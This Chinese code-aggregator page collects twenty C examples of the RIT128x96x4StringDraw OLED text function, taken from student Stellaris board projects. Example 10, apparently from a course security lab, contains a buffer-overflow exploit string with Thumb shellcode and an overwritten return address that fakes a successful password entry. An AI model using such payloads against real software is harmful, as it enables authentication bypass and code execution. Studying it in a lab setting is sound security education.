• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ RIT128x96x4StringDraw函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中RIT128x96x4StringDraw函数的典型用法代码示例。如果您正苦于以下问题:C++ RIT128x96x4StringDraw函数的具体用法?C++ RIT128x96x4StringDraw怎么用?C++ RIT128x96x4StringDraw使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了RIT128x96x4StringDraw函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: main

void main () {
	 SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | 
	                SYSCTL_XTAL_8MHZ);

	// NOTE: actual clock speed is pll / 2/ div = 400M / 2/ 10
//	SysCtlClockSet(SYSCTL_SYSDIV_10 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); 

 initializeGlobalData(); // initialize global data
#if DEBUG
 RIT128x96x4Init(1000000);
#endif

#if DEBUG
	char num[30];
	usnprintf(num, 30, "begin CommandTest");
	RIT128x96x4StringDraw(num, 0, 0, 15);
#endif

	strncpy(global.commandStr, "M A", COMMAND_LENGTH - 1);	// this is the test command

	commandTask.runTaskFunction(commandTask.taskDataPtr);
	
#if DEBUG
	usnprintf(num, 30, global.responseStr);
	RIT128x96x4StringDraw(num, 0, 70, 7);
	usnprintf(num, 30, "done %d %d", global.measurementSelection, global.responseReady);
	RIT128x96x4StringDraw(num, 0, 80, 15);
#endif
}
开发者ID:ellingjp,项目名称:ee472,代码行数:29,代码来源:main.c


示例2: ADC0IntHandler

void ADC0IntHandler()
{

    unsigned long adc0Value;   // Holds the ADC result
    char adc0String[5];        // Holds the string-converted ADC result

    // 清ADC0中断标志.
    // ADCIntClear (unsigned long ulBase, unsigned long ulSequenceNum) 
    ADCIntClear(ADC0_BASE, 0);
    
    //从SSO读出转换结果 (FIFO0),本例中只有一个采样.如果要使用多个转换源,需要使用数组做为参数传递给API函数,保存FIFO转换结果.
    // long ADCSequenceDataGet (unsigned long ulBase,unsigned long ulSequenceNum,unsigned long *pulBuffer) 
    ADCSequenceDataGet(ADC0_BASE, 0, &adc0Value);
    adc0Value= ((59960 - (adc0Value * 100)) / 356);
    
    
    // 在OLED上显示当前温度
    usprintf(adc0String, "%d", adc0Value);    
    IntMasterDisable();
    RIT128x96x4StringDraw("Current temp :         ", 6, 48, 15);
    RIT128x96x4StringDraw(adc0String, 94, 48, 15);
    IntMasterEnable();  

    // ADC模块空闲,可以进行下一次转换
    adc_busy=0;    
 
}
开发者ID:mybays,项目名称:lm3s,代码行数:27,代码来源:main.c


示例3: getData

void getData(int* valuePtr)
{
    //  declare a temp place to store the data
    // int tempValue;
    static int i = 0;
    
    char myData[2];

    //  let valuePtr point to it
    // valuePtr = &tempValue;
 
    //  get the data
    *valuePtr = i;
     
     myData[0] = i + '0';        //  convert the int i to ascii
     myData[1] = '\0';           //  terminate the string

    //  display its value as a character 
     
    RIT128x96x4StringDraw("getData data is: \n", 15, 24, 15);     
    
    RIT128x96x4StringDraw(myData, 15, 34, 15);
        
    delay(1000);                //  delay so we can read the display
    
    i = (i+1) % 8;

    // return;

}
开发者ID:Beck-Sisyphus,项目名称:EE472,代码行数:30,代码来源:project1c-2015.c


示例4: displayInfo

//*****************************************************************************
// Function to display the displays the current height (mili Volts), reference
// height (mili Volts) and the current height as a percentage.
//*****************************************************************************
void displayInfo(int height, int degrees, int main, int tail)
{
	char string[40];

	sprintf(string, "main: %3d ", main);
	RIT128x96x4StringDraw(string, 5, 14, 15);
	sprintf(string, "tail: %3d ", tail);
	RIT128x96x4StringDraw(string, 5, 24, 15);


	sprintf(string, "Hgt. (%%) = %d%%    ", height);
	RIT128x96x4StringDraw(string, 5, 64, 15);

	sprintf (string, "yaw: %5d", yaw);
	RIT128x96x4StringDraw (string, 5, 74, 15);
	sprintf (string, "Deg = %4d", degrees);
	RIT128x96x4StringDraw (string, 5, 84, 15);

	if ((g_ulSampCnt % 25) == 0){
		sprintf(string, " Main: %d Tail: %d\n----------\n", main_duty, tail_duty);
		UARTSend (string);
		sprintf(string, " Alt (%%): %d [%d] {%d}\n----------\n", desiredHeight, height, altError);
		UARTSend (string);
		sprintf(string, " Yaw: %d [%d] {%d}\n----------\n",desiredYaw, degrees, yawError);
		UARTSend (string);
		sprintf(string, " State: %d\n----------\n", state);
		UARTSend (string);
	}
}
开发者ID:Yamoahs,项目名称:ENCE361_Helicopter_project,代码行数:33,代码来源:Copy+of+milestone2_MotorControl(PID)4.c


示例5: printADCString

// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed
void printADCString() {
  RIT128x96x4StringDraw("ADC 0:\0", 30, 24, 15);
  RIT128x96x4StringDraw("ADC 1:\0", 30, 34, 15);
  RIT128x96x4StringDraw("ADC 2:\0", 30, 44, 15);
  RIT128x96x4StringDraw("ADC 3:\0", 30, 54, 15);
  RIT128x96x4StringDraw("Press SEL to exit\0", 15, 74, 15);
}
开发者ID:eeshanl,项目名称:ee472,代码行数:8,代码来源:display.c


示例6: DisplayIntStatus

//*****************************************************************************
//
// Display the interrupt state on the OLED.  The currently active and pending
// interrupts are displayed.
//
//*****************************************************************************
void
DisplayIntStatus(void)
{
    unsigned long ulTemp;
    char pcBuffer[4];

    //
    // Display the currently active interrupts.
    //
    ulTemp = HWREG(NVIC_ACTIVE0);
    pcBuffer[0] = (ulTemp & 1) ? '1' : ' ';
    pcBuffer[1] = (ulTemp & 2) ? '2' : ' ';
    pcBuffer[2] = (ulTemp & 4) ? '3' : ' ';
    pcBuffer[3] = '\0';
    RIT128x96x4StringDraw(pcBuffer, 42, 40, 15);

    //
    // Display the currently pending interrupts.
    //
    ulTemp = HWREG(NVIC_PEND0);
    pcBuffer[0] = (ulTemp & 1) ? '1' : ' ';
    pcBuffer[1] = (ulTemp & 2) ? '2' : ' ';
    pcBuffer[2] = (ulTemp & 4) ? '3' : ' ';
    RIT128x96x4StringDraw(pcBuffer, 96, 40, 15);
}
开发者ID:yangjunjiao,项目名称:Luminary-Micro-Library,代码行数:31,代码来源:interrupts.c


示例7: main

//*****************************************************************************
//
// Exchange data between two functions
//
//*****************************************************************************
int
main(void)
{
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    //
    // Initialize the OLED display.
    //
    RIT128x96x4Init(1000000);
    
    //  declare a shared variable and a pointer to it
    int myValue = 0;
    int* myPtr = &myValue;      //  let myPtr point to myValue
    
    char myData[2];		//  declare a character array
    

    while(TRUE)
    {
      getData(myPtr);
      
      myData[0] = *myPtr+'0';
      
      myData[1] = '\0';           //  terminate the string
        
      RIT128x96x4StringDraw("Data returned: \n", 15, 44, 15);              
      RIT128x96x4StringDraw(myData, 15, 54, 15);
        
      delay(1000);                //  delay so we can read the display
    }
}
开发者ID:Beck-Sisyphus,项目名称:EE472,代码行数:40,代码来源:project1c-2015.c


示例8: main

int main()
{
	// Set the clocking to run directly from the crystal.
	SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);

	//Initialize peripherals
	InitializeDisplay();
	InitializeTimers();
	InitializeADC();
	InitializeInterrupts();

	//Main program loop
	unsigned long avgADCValue = 0;
	while(1)
	{
		if(BufOneReadyToRead)
		{
			avgADCValue = GetAvgOfBuf(1);
			usnprintf(str, 25, "Buf1: %5u", avgADCValue);
			RIT128x96x4StringDraw(str, 0, 0, 15);
			BufOneReadyToRead = 0;
		}
		else if(BufTwoReadyToRead)
		{
			avgADCValue = GetAvgOfBuf(2);
			usnprintf(str, 25, "Buf2: %5u", avgADCValue);
			RIT128x96x4StringDraw(str, 0, 10, 15);
			BufTwoReadyToRead = 0;
		}
	}
}
开发者ID:FTGStudio,项目名称:Sound-Visualizer,代码行数:31,代码来源:main.c


示例9: SysTickInit

//*****************************************************************************
//
//	Initializes the hardware's system clock and the SysTick Interrupt
//
//*****************************************************************************
void SysTickInit() {
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);

	//
	// Get the system clock speed.
	//
	systemClock = SysCtlClockGet();

    //
    // Configure SysTick interrupts
    //
    SysTickPeriodSet(systemClock / SYSTICK_FREQUENCY);
    SysTickIntEnable();
    SysTickEnable();
	
    //
	// 	Code to cause a wait for a "Select Button" press
    //
	SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG);
	GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7);
	RIT128x96x4Init(1000000);
	RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15);
	RIT128x96x4StringDraw("To Continue", 32, 32, 15);
	while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7));
	SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG);
	SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG);

}
开发者ID:chinmay-ratnaparkhi,项目名称:EECS388-Embedded-Systems,代码行数:36,代码来源:PushButton.c


示例10: main

void main(void)
{
     // Set the clocking to run directly from the crystal.
     SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
     SYSCTL_XTAL_8MHZ);
     RIT128x96x4Init(1000000); // Initialize the OLED display.
     // Replace 'Harold' and 6 with exploit string and its 
     // length
     printUserWelcome("\0\0\0" // Front padding
                      "\x4f\xf0\x01\x06"    // mov.w   r6, #1
                      "\x02\x96"            // str     r6, [sp, #8]
                      "\x40\xf2\x93\x1e"    // movw    lr, #403
                      "\x70\x47"            // bx      lr
                      "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"  // End padding
                      "\xD1\x00\x00\x20", 43); // Place 0x200000D1 in the link register instead
     if (gPasswordEntered)
     {
         RIT128x96x4StringDraw("Success!", 32, 24, 15);
     }
     else
     {
         RIT128x96x4StringDraw("Failure!", 32, 24, 15);
     }
     while (1);
}
开发者ID:zakjwalton,项目名称:egr424,代码行数:25,代码来源:lab3.c


示例11: chooseSpeed

// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed
void chooseSpeed() {
  RIT128x96x4StringDraw("Choose a speed\0", 27, 0, 15);
  RIT128x96x4StringDraw("Press up for 1\0", 27, 20, 15);
  RIT128x96x4StringDraw("Press down for 2\0", 22, 34, 15);
  RIT128x96x4StringDraw("1. Faster\0", 40, 54, 15);
  RIT128x96x4StringDraw("2. Slower\0", 40, 64, 15);

}
开发者ID:eeshanl,项目名称:ee472,代码行数:9,代码来源:display.c


示例12: initMain

static void initMain(void){
	// Method for displaying the screen for the main menu
	drawLogo();
	RIT128x96x4StringDraw("Classic", 10, 50, 15);
	RIT128x96x4StringDraw("Continuous", 10, 60, 15);
	RIT128x96x4StringDraw("Instructions", 10, 70, 15);
	RIT128x96x4StringDraw("High Scores", 10, 80, 15);
	drawPointer(50);
}
开发者ID:drosales007,项目名称:EmbeddedHW,代码行数:9,代码来源:hangman.c


示例13: main

//*****************************************************************************
//
// This example application demonstrates the use of the timers to generate
// periodic interrupts.
//
//*****************************************************************************
int
main(void)
{
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    //
    // Initialize the OLED display and write status.
    //
    RIT128x96x4Init(1000000);
    RIT128x96x4StringDraw("Timers example", 18, 24, 15);
    RIT128x96x4StringDraw("T1: 0  T2: 0", 24, 32, 15);

    //
    // Enable the peripherals used by this example.
    //
    SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0);
    SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER1);

    //
    // Enable processor interrupts.
    //
    IntMasterEnable();

    //
    // Configure the two 32-bit periodic timers.
    //
    TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC);
    TimerConfigure(TIMER1_BASE, TIMER_CFG_PERIODIC);
    TimerLoadSet(TIMER0_BASE, TIMER_A, SysCtlClockGet());
    TimerLoadSet(TIMER1_BASE, TIMER_A, SysCtlClockGet() / 2);

    //
    // Setup the interrupts for the timer timeouts.
    //
    IntEnable(INT_TIMER0A);
    IntEnable(INT_TIMER1A);
    TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT);
    TimerIntEnable(TIMER1_BASE, TIMER_TIMA_TIMEOUT);

    //
    // Enable the timers.
    //
    TimerEnable(TIMER0_BASE, TIMER_A);
    TimerEnable(TIMER1_BASE, TIMER_A);

    //
    // Loop forever while the timers run.
    //
    while(1)
    {
    }
}
开发者ID:yangjunjiao,项目名称:Luminary-Micro-Library,代码行数:62,代码来源:timers.c


示例14: rit_p14201_out

void rit_p14201_out(char const* s)
{
    rit_add_lines(s);

    for (int i = 0; i < RIT_ROW; ++i)
    {
        RIT128x96x4StringDraw(g_rit_empty_line, 2, i * 8, 0);
        RIT128x96x4StringDraw(g_rit_buf[i], 2, i * 8, RIT_BRIGHTNESS);
    }
}
开发者ID:serikovigor,项目名称:surd,代码行数:10,代码来源:rit_p14201.c


示例15: displayScores

static void displayScores(void){
	// Method for displaying high scores
	RIT128x96x4StringDraw("High Scores", 40, 0, 15);
	static char s1[24];
	usprintf(s1, "Classic Mode: %d", classic);
	RIT128x96x4StringDraw(s1, 0, 40, 15);
	static char s2[24];
	usprintf(s2, "Continuous Mode: %d", continuous);
	RIT128x96x4StringDraw(s2, 0, 60, 15);
}
开发者ID:drosales007,项目名称:EmbeddedHW,代码行数:10,代码来源:hangman.c


示例16: DisplayTimeA

static void DisplayTimeA(void){
	// Method for displaying the alarm based on the counters
	static char pcTime[10];
	if (aampm==0){
		usprintf(pcTime, "%d%d:%d%d AM", ah2, ah1, am2, am1);
	}
	else {
		usprintf(pcTime, "%d%d:%d%d PM", ah2, ah1, am2, am1);
	}
	RIT128x96x4StringDraw(pcTime, 40, 40, 15);
	if (alarmSet){
		RIT128x96x4StringDraw("Alarm ON", 40, 80, 15);
	}
}
开发者ID:drosales007,项目名称:EmbeddedHW,代码行数:14,代码来源:alarmClock.c


示例17: PrintInit

//*****************************************************************************
//
//	Task to output Initial screen.
//
//*****************************************************************************
void PrintInit(){
    //
	// 	Code to cause a wait for a "Select Button" press
    //
	SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG);
	GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7);
    GPIOPadConfigSet(GPIO_PORTG_BASE, GPIO_PIN_7, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU);
	RIT128x96x4Init(1000000);
	RIT128x96x4StringDraw("FreeRTOS starting\n", 8, 0, 15);
	RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15);
	RIT128x96x4StringDraw("To Continue", 32, 32, 15);
	while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7));
	SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG);
	SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG);
}
开发者ID:chinmay-ratnaparkhi,项目名称:EECS388-Embedded-Systems,代码行数:20,代码来源:Timer_Main.c


示例18: main

//*****************************************************************************
//
// Print "Hello world!" to the OLED on the Stellaris evaluation board.
//
//*****************************************************************************
int
main(void)
{
    //
    // Set the clocking to run directly from the crystal.
    //
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    //
    // Initialize the OLED display.
    //
    RIT128x96x4Init(1000000);

    //
    // Hello!
    //
    RIT128x96x4StringDraw("Hello World!", 30, 24, 15);

    //
    // Finished.
    //
    while(1)
    {
    }
}
开发者ID:yangjunjiao,项目名称:Luminary-Micro-Library,代码行数:31,代码来源:hello.c


示例19: OLEDExec

void OLEDExec(){
	if(sysTickCount >= timeToExec) {
		/*
		*  Save the tick count into a string (character array)
		*  The length is 32 because each character is 8x8 pixels,
		*  		and since the OLED screen is 128 pixels wide
		*  		32 (128 / 8) is the number of characters that will
		*  		successfully fit on a single line of the OLED screen.
		*/
		char sysTickStr[32];

		// sprintf is a standard C function that builds strings from other arguments
		sprintf(sysTickStr, "SysTick: %d", sysTickCount);

		//  Draw the string on the OLED display
	    RIT128x96x4StringDraw(sysTickStr, 8, 33, 15);

        //	Advance next execution time
	    timeToExec += delay;




	}
}
开发者ID:nptvuong2912,项目名称:EECS388-Embedded-Systems,代码行数:25,代码来源:oled.c


示例20: main

//*****************************************************************************
//
// Flash "A B C D" to the board.
//
//*****************************************************************************
int
main(void)
{
  
    unsigned long flashDelay = 8000;   // Delay between flashes
    char *characters = "ABCD";         // Characters to flash
    
    // Set the clocking to run directly from the crystal.
    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
                   SYSCTL_XTAL_8MHZ);

    // Initialize display
    RIT128x96x4Init(OLED_CLK);
    
    // Flash the letters ABCD
    unsigned int xVal = 15;
    unsigned int yVal = 15;
    while(TRUE)
    {
      RIT128x96x4StringDraw(characters, xVal, yVal, 15);
      delay(flashDelay);
      RIT128x96x4Clear();
      delay(flashDelay);
    }

}
开发者ID:ellingjp,项目名称:ee472,代码行数:31,代码来源:part3-app1.c



注:本文中的RIT128x96x4StringDraw函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ RITWriteCommand函数代码示例发布时间:2022-05-30
下一篇:
C++ RINT函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap